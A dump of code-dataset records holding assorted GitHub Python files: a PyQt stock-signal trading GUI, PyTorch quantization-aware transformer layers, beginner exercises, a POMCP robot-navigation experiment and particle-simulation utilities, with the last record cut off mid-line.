',\n]\n\n\ndef test():\n for html_string in html_strings:\n print(repr(html_string), '==>', repr(remove_empty_elements(html_string)))\n\n\nif __name__ == '__main__':\n test()\n","repo_name":"waryhao/Afanti_tiku","sub_path":"afanti_tiku_lib/test/test_html_beautify_html_remove_empty_elements.py","file_name":"test_html_beautify_html_remove_empty_elements.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"434271504","text":"import sys\nfrom PyQt4 import QtGui, QtCore\nimport scanner\nimport datetime\nimport signalfinder \nimport math\nimport time\n\n\nclass Communicate(QtCore.QObject):\n uiSignal = QtCore.pyqtSignal(str) \n \n\nclass Application:\n\n def __init__(self):\n \n f = open('s&p500TickerList.txt',\"r\")\n text = f.read()\n f.close()\n tickerlist = text.split(\",\")\n self.tickerlist = tickerlist[:100]\n \n self.stock_candidate = dict()\n self.lock = False\n self.signalScanner = scanner.TradeSignalScanner(self.onProgress, self.onTradeSignal, signalfinder.emaPredict,simulation=False)\n self.text = \"\"\n self.main()\n pass\n \n def onProgress(self, ticker, updateDate):\n line = \"\\n\" + ticker + \" 股票数据更新至: \" + updateDate\n self.text += line\n self.c.uiSignal.emit(self.text + \"\\n扫描市场交易信号中...\")\n pass\n\n def onTradeSignal(self, ticker, strength, value_dict, ending):\n if ending == True:\n self.lock = False\n self.text += \"\\n\\n市场交易信号扫描完毕\"\n self.c.uiSignal.emit(self.text)\n return\n\n self.stock_candidate[strength] = value_dict\n\n action = \"多头\" if value_dict.get('action') == 1 else \"空头\"\n line = \"\\n\\n获得交易信号:\\n\" + \"信号强度:%f\\n股票代号:%s\\n操作:%s\\n限价单:%.1f\\n止损价:%.1f\\n止盈价:%.1f\" % (strength,ticker,action,value_dict.get('entry_price'),value_dict.get('stop_loss'),value_dict.get('take_profit'))\n\n self.text += line\n self.c.uiSignal.emit(self.text + \"\\n扫描市场交易信号中...\")\n \n\n def scanSignals(self):\n if self.lock:\n return\n self.lock = True\n self.le.setText(self.text + \"\\n扫描市场交易信号中...\")\n self.signalScanner.scanAllTradeSignals(time.time(),tickerlist=self.tickerlist)\n #today = datetime.datetime.strptime(\"2020-06-10\"+\" UTC-0400\", \"%Y-%m-%d %Z%z\")\n #self.signalScanner.scanAllTradeSignals(today.timestamp(),tickerlist=self.tickerlist)\n\n def getStrategy(self):\n \n if self.lock:\n return\n if not self.stock_candidate:\n return\n \n text, ok = QtGui.QInputDialog.getText(self.w , '对话框', '请输入流动资产、现金和现持交易数目,用空格隔开:')\n\n if not ok:\n return\n\n assets, cash, current_trades = str(text).split(\" \")\n assets = int(assets)\n cash = int(cash)\n current_trades = int(current_trades)\n\n stock_candidate = self.stock_candidate\n\n strengthlist = sorted(stock_candidate.keys(),reverse=True)\n if len(strengthlist) <= 0:\n self.text += \"\\n\\n当前无可用交易信号\"\n self.c.uiSignal.emit(self.text)\n return\n \n if current_trades >= 10:\n self.text += \"\\n\\n当前交易的潜在亏损风险已到达上限,暂时不建议发起新交易\"\n self.c.uiSignal.emit(self.text)\n return\n\n risk_per_trade = assets * 0.01\n trade_num = 10- current_trades\n\n if trade_num == 0:\n self.text += \"\\n\\n当前交易的潜在亏损风险已到达上限,暂时不建议发起新交易\"\n self.c.uiSignal.emit(self.text)\n return\n\n cash_used = 0\n orderlist = []\n\n for i in range(trade_num):\n if i >= len(strengthlist):\n break\n \n if cash - cash_used < 50:\n break\n \n stock_data = stock_candidate.get(strengthlist[i])\n risk_per_share = abs(stock_data.get('entry_price') - stock_data.get('stop_loss'))\n shares = risk_per_trade / risk_per_share\n cost = shares * stock_data.get('entry_price')\n\n cost_real = min(cost, cash - cash_used - 50)\n shares_real = cost_real / stock_data.get('entry_price')\n\n if cost_real < 50:\n continue\n\n cash_used += cost_real\n\n order = stock_data\n order['shares'] = shares_real\n\n orderlist.append(order)\n\n\n if len(orderlist) == 0:\n self.text += \"\\n\\n当前现金不足,暂时不建议发起新交易\"\n self.c.uiSignal.emit(self.text)\n return\n\n line = \"\"\n for i in range(len(orderlist)):\n value_dict = orderlist[i]\n action = \"多头\" if value_dict.get('action') == 1 else \"空头\"\n line = line + \"\\n交易序号:%d-股票代号:%s-操作:%s-限价单:%.1f-止损价:%.1f-止盈价:%.1f-份额:%.1f\" % (i,value_dict.get('ticker'),action,value_dict.get('entry_price'),value_dict.get('stop_loss'),value_dict.get('take_profit'),value_dict.get('shares'))\n\n self.text += \"\\n\\n最佳如下交易策略\" + line\n self.c.uiSignal.emit(self.text) \n pass\n\n def setText(self,text):\n self.le.setText(text)\n\n def main(self):\n \n app = QtGui.QApplication(sys.argv)\n\n self.c = Communicate()\n self.c.uiSignal.connect(self.setText) \n\n w = QtGui.QWidget()\n grid = QtGui.QGridLayout()\n grid.setSpacing(10)\n\n btn = QtGui.QPushButton('扫描市场信号', w)\n btn.clicked.connect(self.scanSignals)\n grid.addWidget(btn, 0,0)\n \n btn = QtGui.QPushButton('确定交易策略', w)\n btn.clicked.connect(self.getStrategy)\n grid.addWidget(btn, 0,1)\n\n self.le = QtGui.QTextEdit(w)\n grid.addWidget(self.le, 1,0, 5,5)\n\n\n w.setLayout(grid) \n w.resize(600,400)\n w.setWindowTitle('Simple')\n w.show()\n\n self.w = w\n \n sys.exit(app.exec_())\n\n\nif __name__ == '__main__':\n \n app = Application()\n\n","repo_name":"NikoKVCS/QuantTradeSystem","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":5861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6747698996","text":"from .transformer import *\nfrom torch.quantization.qconfig import QConfig\nfrom torch.quantization.fake_quantize import FusedMovingAvgObsFakeQuantize\nfrom torch.quantization.observer import MovingAverageMinMaxObserver, MovingAveragePerChannelMinMaxObserver\n\n\n# test with quantization on the feed-forward network\n# test with quantization aware training\n# fusing model when training/evaluation???\n\n\ndef set_bit_num(bits_activation=8, bits_weight=8):\n assert bits_activation <= 8\n assert bits_weight <= 8\n fused_per_channel_wt_fake_quant = FusedMovingAvgObsFakeQuantize.with_args(\n observer=MovingAveragePerChannelMinMaxObserver,\n quant_min=-2 ** (bits_weight-1),\n quant_max=2 ** (bits_weight-1) - 1,\n dtype=torch.qint8,\n qscheme=torch.per_channel_symmetric)\n qconfig = QConfig(activation=FusedMovingAvgObsFakeQuantize.with_args(observer=MovingAverageMinMaxObserver,\n quant_min=0,\n quant_max=2 ** (bits_activation-1) - 1,\n reduce_range=True),\n weight=fused_per_channel_wt_fake_quant)\n return qconfig\n\n\n\"\"\"\nclass PositionalWiseFFN(nn.Module):\n def __init__(self, d_model, d_ff, dropout=0.1):\n super(PositionalWiseFFN, self).__init__()\n self.w_1 = nn.Linear(d_model, d_ff)\n self.w_2 = nn.Linear(d_ff, d_model)\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, x):\n return self.w_2(self.dropout(F.relu(self.w_1(x))))\n\"\"\"\n\n\nclass PositionalWiseFFNQuantization(nn.Module):\n def __init__(self, d_model, d_ff, dropout=0.1):\n super(PositionalWiseFFNQuantization, self).__init__()\n self.quant = torch.quantization.QuantStub()\n self.w_1 = nn.Linear(d_model, d_ff)\n self.relu1 = nn.ReLU(inplace=False)\n self.w_2 = nn.Linear(d_ff, d_model)\n self.dequant = torch.quantization.DeQuantStub()\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, x):\n x = self.quant(x)\n x = self.w_1(x)\n x = self.relu1(x)\n x = self.dropout(x)\n x = self.w_2(x)\n x = self.dequant(x)\n return x\n\n\ndef quantization_ffn_training(d_model, d_ff, dropout_ffn, fused_modules, k=(8, 8)):\n model = PositionalWiseFFNQuantization(d_model, d_ff, dropout_ffn)\n model.train()\n # model.qconfig = torch.quantization.get_default_qat_qconfig(\"fbgemm\")\n model.qconfig = set_bit_num(k[0], k[1])\n model_fused = torch.quantization.fuse_modules(model, fused_modules)\n model_prepared = torch.quantization.prepare_qat(model_fused)\n return model_prepared\n\n\nclass sublayerConnectionFFN(nn.Module):\n def __init__(self, d_model, d_ff, dropout_ffn=0.1, dropout_connection=0.1, quant_ffn=False, bit_num=8):\n super(sublayerConnectionFFN, self).__init__()\n if quant_ffn:\n self.ffn = quantization_ffn_training(d_model, d_ff, dropout_ffn, fused_modules=[[\"w_1\", \"relu1\"]], k=(bit_num,bit_num)).cuda()\n else:\n self.ffn = PositionalWiseFFN(d_model, d_ff, dropout_ffn)\n self.layernorm = LayerNorm(d_model)\n self.dropout = nn.Dropout(p=dropout_connection)\n\n def forward(self, x):\n original = x\n x = self.layernorm(x)\n x = self.dropout(self.ffn(x))\n return x + original\n\n\n\"\"\"\nclass MultiheadAttention(nn.Module):\n '''\n Class of multi-head attention, break input features into h heads, \n do attention, then concatenated together.\n Arguments:\n h - number of heads\n d_model - dimensions of features per token throughout whole model\n dropout - dropout rate for output\n '''\n def __init__(self, h, d_model, dropout=0.1):\n super(MultiheadAttention, self).__init__()\n assert d_model % h == 0\n self.d_k = d_model // h\n self.h = h\n self.heads = nn.ModuleList()\n self.attn = None\n for _ in range(3):\n self.heads.append(nn.Linear(d_model, d_model).to(device))\n self.output = nn.Linear(d_model, d_model).to(device)\n self.dropout = nn.Dropout(p=dropout)\n\n def forward(self, query, key, value, mask=None):\n batch_size = query.size(0)\n if mask is not None:\n mask = mask.unsqueeze(1)\n query, key, value = [l(x).view(batch_size, -1, self.h, self.d_k).transpose(1, 2)\n for l, x in zip(self.heads, (query, key, value))]\n x, self.attn = ScaledDotProduct(query, key, value, self.dropout, mask)\n x = x.transpose(1, 2).contiguous().view(batch_size, -1, self.h * self.d_k)\n x = self.output(x)\n return x\n\"\"\"\n\n\ndef quantization_mha_training(h, d_model, dropout_mha, fused_modules=None, k=(8, 8)):\n model = MultiheadAttentionQuantization(h, d_model, dropout_mha)\n model.train()\n model.qconfig = set_bit_num(k[0], k[1])\n if fused_modules:\n model = torch.quantization.fuse_modules(model, fused_modules)\n model_prepared = torch.quantization.prepare_qat(model)\n return model_prepared\n\n\nclass MultiheadAttentionQuantization(nn.Module):\n def __init__(self, h, d_model, dropout=0.1):\n super(MultiheadAttentionQuantization, self).__init__()\n assert d_model % h == 0\n self.d_k = d_model // h\n self.h = h\n self.heads = nn.ModuleList()\n self.attn = None\n for _ in range(3):\n self.heads.append(nn.Linear(d_model, d_model).cuda())\n self.output = nn.Linear(d_model, d_model).cuda()\n self.dropout = nn.Dropout(p=dropout)\n self.quant = torch.quantization.QuantStub()\n self.dequant = torch.quantization.DeQuantStub()\n\n def forward(self, query, key, value, mask=None):\n query = self.quant(query)\n key = self.quant(key)\n value = self.quant(value) # optional\n batch_size = query.size(0)\n if mask is not None:\n mask = mask.unsqueeze(1)\n query, key, value = [l(x).view(batch_size, -1, self.h, self.d_k).transpose(1, 2)\n for l, x in zip(self.heads, (query, key, value))]\n x, self.attn = ScaledDotProduct(query, key, value, self.dropout, mask)\n x = x.transpose(1, 2).contiguous().view(batch_size, -1, self.h * self.d_k)\n x = self.output(x)\n x = self.dequant(x)\n return x\n\n\nclass sublayerConnectionAttention(nn.Module):\n def __init__(self, h, d_model, dropout_head=0.1, dropout_connection=0.1, quant_mha=False, bit_num=8):\n super(sublayerConnectionAttention, self).__init__()\n if quant_mha:\n self.multiheads = quantization_mha_training(h, d_model, dropout_head, k=(bit_num,bit_num))\n else:\n self.multiheads = MultiheadAttention(h, d_model, dropout_head)\n self.layernorm = LayerNorm(d_model)\n self.dropout = nn.Dropout(p=dropout_connection)\n\n def forward(self, x, mask=None):\n original = x\n x = self.layernorm(x)\n x = self.multiheads(x, x, x, mask)\n x = self.dropout(x)\n return x + original\n\n\n\"\"\"\nclass Classifier(nn.Module):\n '''Final classifier with one linear layer'''\n def __init__(self, d_model, d_hidden, n_class):\n super(Classifier, self).__init__()\n self.hidden = nn.Linear(d_model, d_hidden)\n self.classifier = nn.Linear(d_hidden, n_class)\n\n def forward(self, x):\n return self.classifier(F.relu(self.hidden(x)))\n\n\"\"\"\n\n\ndef quantization_classifier_training(d_model, d_hidden, n_class, fused_modules=None, k=(8, 8)):\n model = ClassifierQuant(d_model, d_hidden, n_class)\n model.train()\n # model.qconfig = torch.quantization.get_default_qat_qconfig(\"fbgemm\")\n model.qconfig = set_bit_num(k[0], k[1])\n if fused_modules:\n model = torch.quantization.fuse_modules(model, fused_modules)\n model_prepared = torch.quantization.prepare_qat(model)\n return model_prepared\n\n\nclass ClassifierQuant(nn.Module):\n def __init__(self, d_model, d_hidden, n_class):\n super(ClassifierQuant, self).__init__()\n self.quant = torch.quantization.QuantStub()\n self.hidden = nn.Linear(d_model, d_hidden)\n self.classifier = nn.Linear(d_hidden, n_class)\n self.dequant = torch.quantization.DeQuantStub()\n\n def forward(self, x):\n x = self.quant(x)\n x = self.hidden(x)\n x = self.classifier(x)\n x = self.dequant(x)\n return x\n\n\nclass ModelQuant(nn.Module):\n def __init__(self,\n n_class,\n vocab,\n n_layers=6,\n h=8,\n d_model=512,\n d_ff=128,\n d_hidden=1024,\n maxlen=512,\n dropout_encodings=0.1,\n dropout_connection_attention=0.1,\n dropout_connection_ffn=0.1,\n dropout_attention=0.1,\n dropout_ffn=0.1,\n quant_ffn=False,\n quant_mha=False,\n quant_classifier=False,\n bit_num=8):\n \n super(ModelQuant, self).__init__()\n self.input_embeddings = Embeddings(d_model, vocab, maxlen)\n self.input_encodings = PositionalEncoding(d_model, dropout_encodings, maxlen)\n # self.layernorm = LayerNorm(d_model)\n self.sublayer_attention = nn.ModuleList()\n self.sublayer_ffn = nn.ModuleList()\n for _ in range(n_layers):\n self.sublayer_attention.append(sublayerConnectionAttention(\n h, d_model, dropout_attention, dropout_connection_attention, quant_mha, bit_num))\n self.sublayer_ffn.append(sublayerConnectionFFN(\n d_model, d_ff, dropout_ffn, dropout_connection_ffn, quant_ffn, bit_num))\n if quant_classifier:\n self.classifier = quantization_classifier_training(d_model, d_hidden, n_class, k=(bit_num,bit_num))\n else:\n self.classifier = Classifier(d_model, d_hidden, n_class)\n self.n_layers = n_layers\n\n self.init_params()\n\n def forward(self, x, mask=None):\n embeddings = self.input_embeddings(x)\n encodings = self.input_encodings(embeddings)\n x = embeddings + encodings\n for i in range(self.n_layers):\n x = self.sublayer_attention[i](x, mask)\n x = self.sublayer_ffn[i](x)\n # x = self.layernorm(x)\n cls_repre = x[:, 0, :]\n outputs = self.classifier(cls_repre)\n return outputs\n\n def init_params(self, default_initialization=False):\n # Not mentioned in the paper, but other implementations used xavier.\n if not default_initialization:\n for name, p in self.named_parameters():\n if p.dim() > 1:\n nn.init.xavier_uniform_(p)\n","repo_name":"Alexstrasza98/Transformer-Quantization","sub_path":"quantization/pytorch_api.py","file_name":"pytorch_api.py","file_ext":"py","file_size_in_byte":10835,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"32"} +{"seq_id":"8650758150","text":"'''#importa biblioteca especifica raiz quadrada e potencia\nfrom math import sqrt, pow\n#calculo teorema de pitagoras a² = b² + c²\n# a = raizq(a² + b²)\ncateto_oposto = float(input('Digite o valor do cateto oposto: '))\ncateto_adj = float(input('Digite o valor do cateto adjascente: '))\nhipotenusa = sqrt(pow(cateto_oposto, 2) + pow(cateto_adj, 2))\n#saida mostra o valor da hipotenusa\nprint('O valor da hipotenusa e igual a {:.2f}: '.format(hipotenusa))'''\n\nimport math\nco = float(input('Digite o tamanho do cateto oposto: '))\nca = float(input('Digite o tamanho do cateto adjascente: '))\nhi = math.hypot(co, ca)\nprint('O valor da hipotenusa e igual a {:.2f}'.format(hi))\n","repo_name":"DenisSantos35/Aulas-Python-Curso-em-Video","sub_path":"Curso Python/pythonExercicios/ex017.py","file_name":"ex017.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70002816093","text":"# Belajar Tipe Data Set\nprint(\"\\n===Belajar Tipe Data SET===\\n\")\n\n# Set === Himpunan , Tidak Punya Urutan\n\n# Salah Satu Contoh Membuat Himpunan / Set\n\n# 1 . Contoh Membuat Set\nprint(\"\\n==1 . Contoh Membuat Set==\")\n\nhantuIndo = {\"Tuyul\",\n \"kuntilanak\",\n \"Pocong\",\n \"Sundel Bolong\",\n \"Nenek Gayung\",\n \"Jenglot\"\n }\n\nhantuIndo.add(\"Sadako\") # Contoh Set\nhantuIndo.add(\"Nenek Gayung\")\n\nprint(\"Data Isi Nya :\", hantuIndo)\n\n# 2 . Contoh Membuat Set\nprint(\"\\n==2 . Contoh Membuat Set==\")\n\nmakanan = set()\n\nmakanan.add(\"Biskuit\")\nmakanan.add(\"Roma\")\nmakanan.add(\"Sosis\")\nmakanan.add(2000)\n\n# method untuk mengurutkan data sorted\n# apa bila ingin menambahkan data int jangan di sort/urutkan\n# apabila himpunan ingin di ambil maka dia tidak bisa\nprint(\"Data Yang sudah Di Tambahkan :\", makanan)\n\n# MENGGABUNGKAN SET\n\nprint(\"\\n==Menggabungkan Set==\")\n\nganjil = {1, 3, 5, 7, 9, 11}\ngenap = {2, 4, 6, 8, 10, 12}\nprima = {2, 3, 5, 7}\n\nprint(ganjil.union(genap)) # menggabungkan menggunakan union\nprint(ganjil.intersection(prima)) # kebalikan dari Irisan / intersecsion\n","repo_name":"zem-art/tutorial_python","sub_path":"30_Tipe-Data-Set/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3471192918","text":"'https://medium.com/@vanacorec/backtracking-and-crossword-puzzles-4abe195166f9'\n\n'''\nFactorial by Recursion\nBy definition, the factorial of n is equal to the product of n and all smaller positive integers. \nIn order to use recursion to solve this, we need to break the problem down into “smaller problems of the same type.” \nWe can do this by thinking of the factorial of n as n times the factorial of n-1. \nThen the factorial of n-1 is n-1 times the factorial of n-1-1… and so on until you hit the base case: factorial of 1 = 1.\n\n5! = 5 * 4 * 3 * 2 * 1 = 120\n5! = 5 * 4!\nwhere 4! = 4 * 3!\nwhere 3! = 3 * 2!\nwhere 2! = 2 * 1!\nwhere 1! = 1\nHere is the python code for this:\n\ndef factorial(n):\n if n == 1: #base case\n return 1\n else: #recursive case\n return n * factorial(n-1)\n \nfactorial(5)\nIn this case, the base case is “if n == 1: return 1,” because we don’t need any more recursion to solve that problem. \nThe function will continue to call itself until this base case is reached.\n'''\n\ndef factorial(n):\n if n == 1: #base case\n return 1\n else: #recursive case\n return n * factorial(n-1)\n\n\nresult = factorial(5)\nprint(result)","repo_name":"H0r4c3/Python_00_ALL","sub_path":"Recursions/factorial2.py","file_name":"factorial2.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"39570516697","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nfrom pomdpy.solvers import POMCPV\nfrom pomdpy.log import init_logger\nfrom domain.navigation import GridPosition\nfrom domain.navigation import RobotModel\nfrom domain.navigation import ModelChecker\nimport numpy as np\nimport random\nfrom ruamel_yaml import YAML\n#########################################################################################################\nimport time\nfrom pomdpy.pomdp.history import Histories, HistoryEntry\nimport os\nimport pandas as pd\nfrom collections import defaultdict\nfrom threading import Thread\nfrom queue import Queue\nimport matplotlib.pyplot as plt\n\n\n\nq = Queue()\nfinish = False\n\nclass AgentSMC:\n def __init__(self,model,solver):\n self.model = model\n self.action_pool = self.model.create_action_pool()\n self.observation_pool = self.model.create_observation_pool(self)\n self.solver_factory = solver.reset\n self.histories = Histories()\n\ndef state_visualization(self, robot):\n print(\"#\"*int(2*self.model.n_cols+3) )\n for y in range(self.model.n_rows):\n for x in range(self.model.n_cols):\n c = self.model.map_text[y][x]\n if(robot.i==y and robot.j ==x):\n print(\"R\",end=\"\\t\")\n elif(self.model.is_obstacle(GridPosition(y,x))):\n print(\"0\", end=\"\\t\")\n else:\n print(\".\",end=\"\\t\" )\n print(\"\")\n print(\"#\" * int(2*self.model.n_cols + 3))\n print(\"\\n\")\n\ndef dicounted_return(self,thread_id):\n eps = self.model.epsilon_start\n self.model.reset_for_epoch()\n start_new_timer =True\n for i in range(self.model.n_epochs):\n solver = self.solver_factory(self)\n state = solver.belief_tree_index.sample_particle()\n reward = 0\n safety_property = 0\n discounted_reward = 0\n discount = 1.0\n if(start_new_timer):\n begin_time = time.time()\n start_new_timer = False\n # shuffle_obstacles(self, i)\n # LOGFILE = defaultdict(list)\n # LOGFILE['X_%d'%i].append(state.position.j)\n # LOGFILE['Y_%d' % i].append(state.position.i)\n traj = []\n for _ in range(self.model.max_steps):\n start_time = time.time()\n # state_visualization(self, state.position)\n action = solver.select_eps_greedy_action(eps, start_time)\n step_result, is_legal = self.model.generate_step(state, action)\n\n # print(f\"reward {step_result.reward}, is_legal {is_legal}, obs {step_result.observation} \")\n #STEP update properties and reward\n safety_property += 1 if step_result.observation.is_obstacle or not is_legal else 0\n reward += step_result.reward\n discounted_reward += discount * step_result.reward\n discount *= self.model.discount\n state = step_result.next_state\n # LOGFILE['X_%d' % i].append(state.position.i)\n # LOGFILE['Y_%d' % i].append(state.position.j)\n traj.append(state.position)\n\n # STEP model update\n if not step_result.is_terminal or not is_legal or not self.model.is_obstacle(state.position):\n solver.update(step_result)\n\n # STEP Extend the history sequence\n new_hist_entry = solver.history.add_entry()\n HistoryEntry.update_history_entry(new_hist_entry, step_result.reward,\n step_result.action, step_result.observation, step_result.next_state)\n\n\n # STEP termination\n if step_result.is_terminal or not is_legal:\n print('Terminated after episode step ' + str(i + 1))\n break\n # STEP- find out the illegal actions given the current state?\n elapsed_time = time.time() - begin_time\n print(f\" time {elapsed_time:3.3} state {state.position} reward {reward}, prob {safety_property/self.model.max_steps:.3} count {safety_property}\")\n self.model.reset_for_epoch()\n #STEP perform model checking\n y_size = self.model.n_rows\n map_index = lambda pos:pos.i*y_size + pos.j\n start_new_timer =ModelChecker.check_safe_reachability(map(map_index,traj),\n map(map_index,self.model.obstacle_positions),map(map_index,self.model.goal_positions))\n if(start_new_timer):\n q.put({thread_id:reward})\n if(finish):\n break\n q.put(thread_id,None)\n\nclass myThread (Thread):\n def __init__(self, threadID):\n Thread.__init__(self)\n self.threadID = threadID\n solver = POMCPV\n yaml = YAML()\n with open('exp_param.yml', 'r') as param:\n args = yaml.load(param)\n args['ucb_coefficient'] = threadID\n np.random.seed(args['seed'])\n random.seed(a=args['seed'])\n\n env = RobotModel(args)\n self.agent = AgentSMC(env, solver)\n def run(self):\n print(\"starting thread \",self.threadID)\n dicounted_return(self.agent,self.threadID)\n\ndef plot(reward,t):\n print(f\"updating plot at {elapsed_time:.3f}\")\n # plt.hold(True)\n for key in reward:\n assert (key<6)\n # if(reward[key]<=-100):\n # continue\n csv_history[key].append(reward[key])\n csv_history[\"time\"].append(t)\n # plt.plot(t,reward[key],colors[key])\n # plt.axis([0,1800,-110,10])\n # plt.pause(0.1)\n\nif __name__ == '__main__':\n threads = []\n for i in range(6):\n threads.append(myThread(i))\n\n for i in range(6):\n threads[i].start()\n\n\n print(\"main thread configure \")\n colors = [\"xr\",\"xg\",\"xb\",\"or\",\"og\",\"ob\"]\n\n\n rewards ={i:-50 for i in range(6)}\n start_time = time.time()\n count = 0\n elapsed_time = 0\n csv_history = defaultdict(list)\n while(elapsed_time <1200):\n if(not q.empty()):\n data = q.get()\n print(\"data recived \", data)\n for key in data:\n if(not data[key]): #STEP - break conditions\n count +=1\n # elif(data[key]>rewards[key]):\n # rewards[key]=data[key]\n # dt = time.time() - start_time\n # plot(rewards, dt)\n # elapsed_time = time.time() - start_time\n else:\n rewards[key] = data[key]\n elapsed_time = time.time() - start_time\n csv_history[\"time\"].append(elapsed_time)\n print(f\"updating plot at {elapsed_time:.3f}\")\n for key in rewards:\n csv_history[key].append(rewards[key])\n\n else:\n time.sleep(0.5)\n elapsed_time = time.time() - start_time\n # print(f\"elapsed time {elapsed_time:.3f}\")\n\n print(\"saving log ...\")\n dtf=pd.DataFrame(csv_history)\n dtf.to_csv(\"MultiThreads2.csv\", index_label=\"time\")\n finish = True\n time.sleep(2)\n print(\"Threads are joining...\")\n for i in range(6):\n threads[i].join()\n print(\"program terminate...\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"RedwanNewaz/PO-SMC","sub_path":"posmc/run/MultiThreadMain.py","file_name":"MultiThreadMain.py","file_ext":"py","file_size_in_byte":7041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3977466875","text":"import pyaudio\n\ndef list_input_devices():\n p = pyaudio.PyAudio()\n info = p.get_host_api_info_by_index(0)\n num_devices = info.get('deviceCount')\n\n print(\"Available Input Devices:\")\n for i in range(num_devices):\n device_info = p.get_device_info_by_host_api_device_index(0, i)\n device_name = device_info.get('name')\n print(f\"{i}: {device_name}\")\n\nlist_input_devices()\n","repo_name":"fajrulfx/mc-axe","sub_path":"list_device.py","file_name":"list_device.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13650715123","text":"import numpy as np\nimport os\n\nfrom scipy.linalg import norm\n\nfrom particle_box import ParticleBox\nfrom simulation import Simulation\nfrom config import results_folder, init_folder\n\n# Various utility functions\n\n\ndef compute_scattering_angle(velocity_before, velocity_after):\n \"\"\"\n Function to compute the scattering angles for a small particle bouncing of a bigger and massive one\n :param velocity_before: velocity vector of the small particle before collision\n :param velocity_after: velocity vector of the small particle after collision\n :return: angle between vectors\n \"\"\"\n # use definition of dot product\n angle = np.arccos(np.dot(velocity_after, velocity_before)/(norm(velocity_before)*norm(velocity_after)))\n return angle\n\n\ndef random_positions_and_radius(number_particles, min_value=1e-04, y_max=1):\n \"\"\"\n Function to create random positions in a desired area of a square box with lines at x = 0, x=1, y=0, y=1\n :param number_particles: number of particles in the box\n :param min_value: minimum position away from an axis\n :param y_max: max position away from y-axis\n :return: random positions decided by input parameters and min possible radius for the particles to not overlap each\n other or a wall\n \"\"\"\n # random positions making sure that the positions do not get closer than min_value to the walls\n x_pos = np.random.uniform(low=min_value, high=(1-min_value), size=number_particles)\n y_pos = np.random.uniform(low=min_value, high=(y_max-min_value), size=number_particles)\n positions = np.zeros((number_particles, 2)) # save positions as a (N, 2) array.\n positions[:, 0] = x_pos\n positions[:, 1] = y_pos\n\n min_distance_from_zero_x = np.min(positions[:, 0]) # closest particle distance to y_axis\n min_distance_from_zero_y = np.min(positions[:, 1]) # closest particle distance to x_axis\n min_distance_from_x_max = np.min(1 - positions[:, 0]) # closest particle distance to x=1\n min_distance_from_y_max = np.min(y_max - positions[:, 1]) # closest particle distance to y_max\n\n min_distance = min(min_distance_from_x_max, min_distance_from_y_max,\n min_distance_from_zero_x, min_distance_from_zero_y) # closest particle distance to any wall\n\n for i in range(np.shape(positions)[0]): # loop through all positions\n random_position = positions[i, :] # pick out a random position\n diff = positions - np.tile(random_position, reps=(len(positions), 1)) # find distance vectors to other pos\n diff = norm(diff, axis=1) # find distance from all distance vectors\n number_of_zeros = np.sum(diff == 0) # compute number of zero distance. Should only be one(itself!)\n\n if number_of_zeros > 1: # Can happen(maybe?)\n print('Two particles randomly generated at same point')\n exit()\n diff = diff[diff != 0] # remove the distance a particle has with itself\n min_distance = min(min_distance, np.min(diff)) # find the closest distance between wall and nearest particle\n print(min_distance)\n min_radius = min_distance/2 # divide by two since the distance should equal at least radius*2\n min_radius *= 0.99 # in order to have no particles connected with either wall or another particle\n return positions, min_radius\n\n\ndef random_positions_for_given_radius(number_of_particles, radius, y_max=1.0, brownian_particle=False):\n \"\"\"\n Function to create random positions for number_of_particles with a given radius.\n :param number_of_particles: int giving the amount of particles to create positions for\n :param radius: radius of the particles\n :param y_max: max limit on the y-axis. Can be used to create wall on bottom half or particles everywhere.\n :param brownian_particle: boolean value used to give if to create a bp in the middle with r=3r0\n :return: uniformly distributed positions as a 2D array with shape (number_of_particles, 2)\n \"\"\"\n positions = np.zeros((number_of_particles, 2)) # output shape\n # get random positions in the specified region. Need to make the positions not overlapping with the walls\n # do create more points than the output since not all are accepted since they are too close to each other\n x_pos = np.random.uniform(low=radius * 1.001, high=(1 - radius), size=number_of_particles ** 2)\n y_pos = np.random.uniform(low=radius * 1.001, high=(y_max - radius), size=number_of_particles ** 2)\n counter = 0 # help variable to accept positions that are not too close\n\n if brownian_particle:\n positions[0, :] = [0.5, 0.5]\n counter += 1\n\n for i in range(len(x_pos)):\n if counter == len(positions): # Check if there is enough accepted positions\n print('Done')\n break\n\n random_position = np.array([x_pos[i], y_pos[i]]) # pick a random position\n # create a distance vector to all accepted positions\n diff = positions - np.tile(random_position, reps=(len(positions), 1))\n diff = norm(diff, axis=1) # compute distance as the norm of each distance vector\n if brownian_particle:\n diff[0] -= 2*radius\n boolean = diff <= (2 * radius) # boolean array to indicate if new position is closer than 2*radius to another\n # check of boolean array. If the sum is higher than zero the random position is closer than 2R and is rejected\n if np.sum(boolean) > 0:\n continue\n else:\n # add position to output array\n positions[counter, :] = random_position\n counter += 1\n # remove all slots that did not get a random position\n positions = positions[positions[:, 0] != 0]\n number_of_positions = len(positions) # number of accepted points -> number of accepted particles\n if y_max == 1:\n # save file for problem where one use the whole region\n if brownian_particle:\n np.save(\n file=os.path.join(init_folder,\n f'uniform_pos_around_bp_N_{number_of_positions}_rad_{radius}_bp_rad_{3*radius}'),\n arr=positions)\n else:\n np.save(file=os.path.join(init_folder, f'uniform_pos_N_{number_of_positions}_rad_{radius}'), arr=positions)\n else:\n # save file for problem 5 where these positions in the wall getting hit by a projectile\n np.save(file=os.path.join(init_folder, 